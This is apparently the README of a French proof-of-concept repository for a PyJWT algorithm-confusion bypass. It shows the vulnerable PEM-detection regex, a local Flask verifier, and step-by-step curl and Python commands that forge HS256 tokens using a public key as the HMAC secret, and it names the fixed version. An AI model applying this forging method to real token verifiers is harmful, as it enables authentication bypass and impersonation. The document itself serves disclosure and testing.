
PoC d'exploitabilité pour CVE-2026-102-268 (contournement de détection Asymmetric-PEM de PyJWT).
Résultat de l'analyse d'exploitabilité : la cause racine est confirmée et l'exploitation de bout en bout est reproductible. Une clé publique PEM mutée par des espaces blancs contourne le garde-fou
is_pem_format()de PyJWT et est acceptée comme un secret HMAC valide, permettant la falsification complète de jetons HS256 contre tout vérificateur qui autoriseRS256aux côtés deHS256. Voir Analyse pour les détails.
CVE-2026-102268 est une vulnérabilité de confusion d'algorithme dans PyJWT. Avant d'utiliser une clé quelconque comme secret HMAC, HMACAlgorithm.prepare_key() appelle is_pem_format() pour rejeter les clés qui ressemblent à une clé asymétrique ou un certificat encodé en PEM — la défense standard contre les attaques de confusion RS256/HS256.
is_pem_format() est une simple expression régulière qui exige une adjacence exacte \r?\n entre le corps de la clé et les marqueurs BEGIN/END. Le propre chargeur PEM de cryptography n'a pas une telle exigence. Un fichier PEM avec des espaces blancs adjacents aux marqueurs, des terminateurs de ligne CR seuls, ou replié sur une seule ligne est analysé comme une clé parfaitement valide par cryptography.load_pem_public_key(), tandis que is_pem_format() renvoie False sur les octets identiques.
La conséquence : le garde-fou de clé asymétrique ne se déclenche jamais, la clé publique est acceptée comme secret HMAC, et quiconque détient cette clé publique — qui est publique par définition — peut forger un jeton HS256 valide pour tout vérificateur qui autorise à la fois RS256 et HS256.
Ce dépôt contient un vérificateur Flask minimal et une clé de reproduction pour confirmer cette affirmation de bout en bout.
| Plage affectée | Corrigé dans |
|---|---|
| < 2.14.0 | 2.14.0 |
La vérification vulnérable dans jwt/utils.py (toutes les versions antérieures à 2.14.0) :
# jwt/utils.py — vulnerable
_PEM_RE = re.compile(
b"----[- ]BEGIN ("
+ b"|".join(_PEMS)
+ b""")[- ]----\r?
.+?\r?
----[- ]END \1[- ]----\r?\n?"""
)
def is_pem_format(key: bytes) -> bool:
return bool(_PEM_RE.search(key))
Le garde-fou associé, dans jwt/algorithms.py :
# jwt/algorithms.py — HMACAlgorithm.prepare_key()
if is_pem_format(key) or is_ssh_key(key):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
Les séparateurs [- ] de l'expression régulière ne tolèrent qu'un seul tiret ou espace directement adjacent aux tirets du marqueur. Tout autre espace blanc situé entre le saut de ligne final du corps de la clé et le marqueur END — une indentation, un \r parasite, une seule ligne re-formatée — fait échouer la correspondance, de sorte que is_pem_format() renvoie False sur un fichier que cryptography analyse sans se plaindre.
Le correctif (commit 8b4e233, publié dans 2.14.0) remplace l'expression régulière par un scanner à passe unique sur l'ensemble des marqueurs BEGIN/END pris en charge, qui ne dépend pas de l'adjacence exacte des sauts de ligne — fermant ce contournement et, dans le même changement, un ReDoS associé dans la même fonction (CVE-2026-102270).
public_key.pem dans ce dépôt est une clé publique RSA ordinaire de 2048 bits avec une seule modification : la ligne -----END PUBLIC KEY----- est indentée de quatre espaces.
1wIDAQAB
-----END PUBLIC KEY-----
openssl rsa -pubin -in public_key.pem -text -noout # parses cleanly, no warning
L'exécution de utils.py confirme le contournement directement contre la bibliothèque, indépendamment de l'application Flask :
$ python utils.py
JWT encoded successfully: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
JWT decoded successfully: {'some': 'payload'}
jwt.encode(..., PUBLIC_KEY, algorithm="HS256") réussit. Sur un PyJWT corrigé (≥ 2.14.0), ce même appel lève InvalidKeyError — is_pem_format() signale correctement le fichier comme une clé PEM quelle que soit l'indentation, et le chemin HMAC le refuse. Ici, ce n'est pas le cas : l'indentation de quatre espaces suffit à faire manquer l'expression régulière, et les octets de la clé publique sont acceptés comme un secret HMAC ordinaire.
app.py reproduit la condition préalable du monde réel — un vérificateur dont la liste d'autorisation algorithms mélange l'algorithme asymétrique et symétrique :
decoded_payload = jwt.decode(token, key=PUBLIC_KEY, algorithms=["RS256", "HS256"])
Un jeton forgé avec l'approche de utils.py, soumis à /verify, est accepté : /verify renvoie 200 et les revendications falsifiées, pour un jeton que personne détenant la clé privée n'a jamais signé.
cve-2026-102268-poc/
├── Dockerfile # Python 3.9-slim, installs PyJWT==2.4.0 (vulnerable)
├── podman-compose.yaml # Single-service compose for the verifier
├── requirements.txt # Flask, Werkzeug, PyJWT==2.4.0
├── app.py # Flask /verify route — algorithms=["RS256","HS256"]
├── utils.py # Standalone PoC: signs + verifies HS256 with PUBLIC_KEY
├── public_key.pem # RSA public key, END marker indented by 4 spaces
└── README.md
| Outil | Version | Remarques |
|---|---|---|
| Podman | ≥ 4.0 | Docker fonctionne aussi |
| Python | ≥ 3.9 | Uniquement pour exécuter utils.py localement |
| curl | any | Pour exercer /verify directement |
podman-compose up -d
Attendez quelques secondes, puis confirmez que le service est démarré :
curl -si http://localhost:8080/verify -X POST \
-H 'Content-Type: application/json' -d '{}' | head -1
# Expected: HTTP/1.1 400 (missing token, but the service is reachable)
python utils.py
Cela signe {"some": "payload"} avec public_key.pem en utilisant HS256 et affiche le JWT résultant — la primitive de falsification. Copiez le jeton encodé.
curl -s http://localhost:8080/verify \
-H 'Content-Type: application/json' \
-d '{"token": "<forged-jwt-here>"}'
podman-compose down
Répétez l'étape 2 avec PyJWT>=2.14.0 installé à la place du 2.4.0 épinglé dans requirements.txt. jwt.encode() lève InvalidKeyError avant même qu'un jeton ne soit produit.
============================================================
CVE-2026-102268 — PyJWT Asymmetric-PEM Detection Bypass PoC
============================================================
Key : public_key.pem (RSA public key, END marker indented)
Target : http://localhost:8080/verify
------------------------------------------------------------
[1] Signing forged token with PUBLIC_KEY as HS256 secret...
[+] JWT encoded successfully:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9...